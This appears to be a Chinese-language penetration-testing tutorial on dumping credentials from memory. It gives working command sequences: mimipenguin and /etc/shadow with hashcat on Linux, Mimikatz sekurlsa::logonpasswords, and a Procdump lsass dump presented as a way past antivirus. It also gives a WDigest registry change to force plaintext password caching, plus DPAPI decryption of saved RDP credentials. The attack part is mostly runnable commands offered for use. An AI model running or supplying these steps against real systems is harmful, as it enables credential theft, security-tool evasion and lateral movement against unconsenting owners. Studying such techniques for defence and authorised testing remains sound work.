内网渗透之内存读取
环境
Windows-Mimikatz适用环境:
微软为了防止明文密码泄露发布了补丁KB2871997,关闭了Wdigest功能。
当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。
基本命令:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27cls:清屏
standard:标准模块,基本命令
crypto:加密相关模块
sekurlsa:与证书相关模块
kerberos:kerberos模块
privilege:提权模块
process:进程模块
service:服务模块
lsadump:lsadump模块
ts:终端服务器模块
event:事件模块
misc:杂项模块
token:令牌操作模块
vault:windows证书模块
minesweeper:Mine Sweeper模块
net:
dpapi:DPAPI模块(通过API或者RAW访问)
busylight:Busylight 模块
sysenv:系统环境模块
sid:安全标识符模块
iis:IIS XML配置模块
rpc:mimikatz的RPC控制
sr98:用于SR98设备和Tss77目标的RF模块
rdm:RDM器件的射频模块
acr:acr模块
version:查看版本
exit:退出
Linux-mimipenguin适用环境:
1 | Kali 4.3.0 (rolling) x64 (gdm3) |
linux密码获取
系统适配:1
2
3
4
5
6
7Kali 4.3.0 (rolling) x64 (gdm3)
Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)
VSFTPd 3.0.3-8+b1 (Active FTP client connections)
Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions)
openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)1
2chmod 755 ./mimipenguin.sh
./mimipenguin.sh
密码破解:1
2cat /etc/shadow
hashcat.exe -a 3 -m 1800 linuxhash.txt pass.txt
加密形式:(通过密文前缀判断)
- linux
sha512crypt 6 66, SHA512 (Unix)加密方式:
1 | hashcat -m 1800 sha512linux.txt p.txt |
- linux
sha256crypt 5 55, SHA256 (Unix)加密方式:
1 | hashcat -m 7400 sha256linux.txt p.txt |
- linux下
md5crypt, MD5 (Unix), Cisco-IOS 1 11 (MD5)加密方式:
1 | hashcat -m 500 linuxmd5.txt p.txt |
- linux下
bcrypt $2*$, Blowfish (Unix)加密方式:
1 | hashcat -m 3200 linuxmd5.txt p.txt |
Windows密码获取
原理
mimikatz 是一款功能强大的轻量级调试神器,通过它可以提升进程权限、注入进程、读取进程内存,直接从lsass.exe进程中获取系统用户名和密码
lsass.exe是微软Windows系统的安全机制,主要用于本地安全和登录策略,通常我们在登录系统之后,密码便会储存在 lsass 内存中,经过wdigest和tspkg两个模块调用,对其使用可逆算法进行加密并存储在内存中,mimikatz正是对lsass逆算获取密码
在线读
https://github.com/gentilkiwi/mimikatz
1 | mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" |
离线读
https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
实验1:针对防护拦截(Minikatz被拦截)
Procdump是微软官方的工具,可在命令行将lsass导出且杀软不会拦截
1 | Procdump.exe -accepteula -ma lsass.exe lsass.dmp |
1 | mimikatz.exe "sekurlsa::minidump lsass.DMP" |
实验2:针对高版本但有存储:管理员登陆过,密码留在了内存中
1 | Procdump.exe -accepteula -ma lsass.exe lsass.dmp |
解决高版本
修改注册表+强制锁屏+等待系统管理员重新登录+截取明文密码
修改注册表来让Wdigest Auth保存明文口令方式
1 | reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1 |
这里模拟用户重新登陆之后,成功抓取明文密码
密码破解
hashcat
1 | -m 密文类型 |
RDP凭据抓取
查看连接记录:1
cmdkey /list
查找本地的Credentials:1
dir /a %userprofile%\appdata\local\microsoft\credentials\*
Credentials记录guidMasterKey值:1
mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B
19d0d4f3-e495-432c-918a-ade1dc76a5e4
找到guidMasterKey对应的MasterKey:
1 | mimikatz sekurlsa::dpapi |
解密指定的MasterKey凭据:1
mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B /masterkey:9c0ed75255d7b011294cb4944560608667e3a19bdf3ee5b0f1a58775a96e3c48aa8e5f2070bb65f774f401b13e548e99181c20dd29a7952c31031e754f59efd2
